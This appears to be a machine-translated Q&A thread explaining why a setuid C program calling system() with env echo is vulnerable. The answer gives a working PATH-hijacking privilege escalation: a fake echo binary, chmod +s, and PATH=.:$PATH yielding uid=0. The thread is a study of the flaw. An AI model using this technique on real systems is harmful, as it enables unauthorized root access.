2011-11-29 58 views
34
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 

int main(int argc, char **argv, char **envp) 
{ 
    gid_t gid; 
    uid_t uid; 
    gid = getegid(); 
    uid = geteuid(); 

    setresgid(gid, gid, gid); 
    setresuid(uid, uid, uid); 

    system("/usr/bin/env echo and now what?"); 

} 

我了解它的方式,上面的代码允许任意代码(或程序)执行 - 是什么让这种脆弱,以及如何利用这一点?这个C代码有什么弱点?

+2

你为什么认为这允许任意代码执行? –

+0

好吧,说实话我是盲目的信仰。我是一名安全专业的学生,​​我正在考虑易受攻击的代码,我看到了这一点,它在书中说,它的确如此,但它并没有解释这个特殊的例子。 – quantumdisaster

+0

也许你指的是系统调用?不是这方面的专家,但这是唯一让我感到奇怪的东西。没有缓冲区溢出或类似的东西。 –

回答

51

您可以覆盖PATH变量指向的目录与echo您的自定义版本,因为echo使用env执行,它不被视为一个内置。

仅当代码作为特权用户运行时才会限制漏洞。

在下面的例子中,文件v.c包含问题的代码。

$ cat echo.c 
#include <stdio.h> 
#include <unistd.h> 

int main() { 
    printf("Code run as uid=%d\n", getuid()); 
} 
$ cc -o echo echo.c 
$ cc -o v v.c 
$ sudo chown root v 
$ sudo chmod +s v 
$ ls -l 
total 64 
-rwxr-xr-x 1 user  group 8752 Nov 29 01:55 echo 
-rw-r--r-- 1 user  group 99 Nov 29 01:54 echo.c 
-rwsr-sr-x 1 root  group 8896 Nov 29 01:55 v 
-rw-r--r-- 1 user  group 279 Nov 29 01:55 v.c 
$ ./v 
and now what? 
$ export PATH=.:$PATH 
$ ./v 
Code run as uid=0 
$ 

需要注意的是真实的用户ID,有效用户ID的设置,并保存设置用户ID通过张贴在有关漏洞的代码的调用之前setresuid()调用system()允许一个利用该漏洞即使只有有效的用户ID被设置为特权用户ID并且真实用户ID仍然没有特权时(例如,如上所述依靠文件上的set-user-ID位的情况)。如果没有setresuid()的调用,运行system()的shell会将有效的用户标识重置为真实的用户标识,从而使漏洞无效。但是,在易受攻击的代码以特权用户的真实用户ID运行的情况下,仅仅呼叫system()就足够了。引用sh手册页:

如果shell启动与有效用户(组)标识不等于实际用户 (组)ID和-p选项没有提供,没有启动文件 读取,shell函数不会从环境中继承,但SHELLOPTS变量(如果它在环境中显示 )被忽略,并且有效用户 id被设置为真实用户标识。如果在调用时提供了-p选项,则启动 的行为是相同的,但不重置有效的用户标识。

另外,请注意setresuid()不便携,但是setuid()setreuid()也可以用来达到同样的效果。

+1

只是好奇......路径如何进入这个?由于指定了“env”的完整路径,因此我会想,PATH不会被搜索。当然,如果有人有权将恶意程序放在/ usr/bin/env中,那么就会有麻烦。 – Ron

+0

好的非常感谢 – quantumdisaster

+12

'env'搜索'PATH'找到'echo'。 –